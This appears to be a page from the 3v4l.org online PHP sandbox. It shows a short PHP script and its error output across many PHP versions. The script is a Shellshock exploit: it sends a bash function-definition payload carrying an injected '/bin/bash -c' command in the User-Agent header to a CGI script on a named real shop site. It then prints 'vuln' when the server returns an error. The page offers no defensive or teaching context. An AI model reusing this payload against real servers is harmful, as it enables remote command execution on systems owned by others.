3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $url = "http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi"; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) echo "vuln";
Output for 5.2.6 - 5.4.38, 5.5.24 - 5.5.32, 5.5.34 - 5.6.17, 5.6.20 - 7.0.3, 7.0.5 - 7.1.0
Notice: Undefined variable: cmd in /in/7ULjl on line 7 Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/7ULjl on line 12 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/7ULjl on line 12 Notice: Undefined variable: http_response_header in /in/7ULjl on line 12
Output for 5.4.39 - 5.4.45, 5.5.33, 5.6.18 - 5.6.19, 7.0.4
Notice: Undefined variable: cmd in /in/7ULjl on line 7 Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: System error in /in/7ULjl on line 12 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: php_network_getaddresses: getaddrinfo failed: System error in /in/7ULjl on line 12 Notice: Undefined variable: http_response_header in /in/7ULjl on line 12
Output for 5.0.4 - 5.2.5
Notice: Undefined variable: cmd in /in/7ULjl on line 7 Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/7ULjl on line 12 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: Connection refused in /in/7ULjl on line 12 Notice: Undefined variable: http_response_header in /in/7ULjl on line 12
Output for 5.0.3
Notice: Undefined variable: cmd in /in/7ULjl on line 7 Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/7ULjl on line 12 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: Connection refused in /in/7ULjl on line 12 Notice: Undefined variable: http_response_header in /in/7ULjl on line 12
Output for 5.0.1 - 5.0.2
Notice: Undefined variable: cmd in /in/7ULjl on line 7 Warning: file_get_contents(): php_network_getaddresses: gethostbyname failed in /in/7ULjl on line 12 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: Success in /in/7ULjl on line 12 Notice: Undefined variable: http_response_header in /in/7ULjl on line 12
Output for 5.0.0
Notice: Undefined variable: cmd in /in/7ULjl on line 7 Warning: file_get_contents(): php_network_getaddresses: gethostbyname failed in /in/7ULjl on line 12 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: Bad file descriptor in /in/7ULjl on line 12 Notice: Undefined variable: http_response_header in /in/7ULjl on line 12
Output for 4.3.0 - 4.4.9
Notice: Undefined variable: cmd in /in/7ULjl on line 7 Warning: file_get_contents() expects at most 2 parameters, 3 given in /in/7ULjl on line 12 Notice: Undefined variable: http_response_header in /in/7ULjl on line 12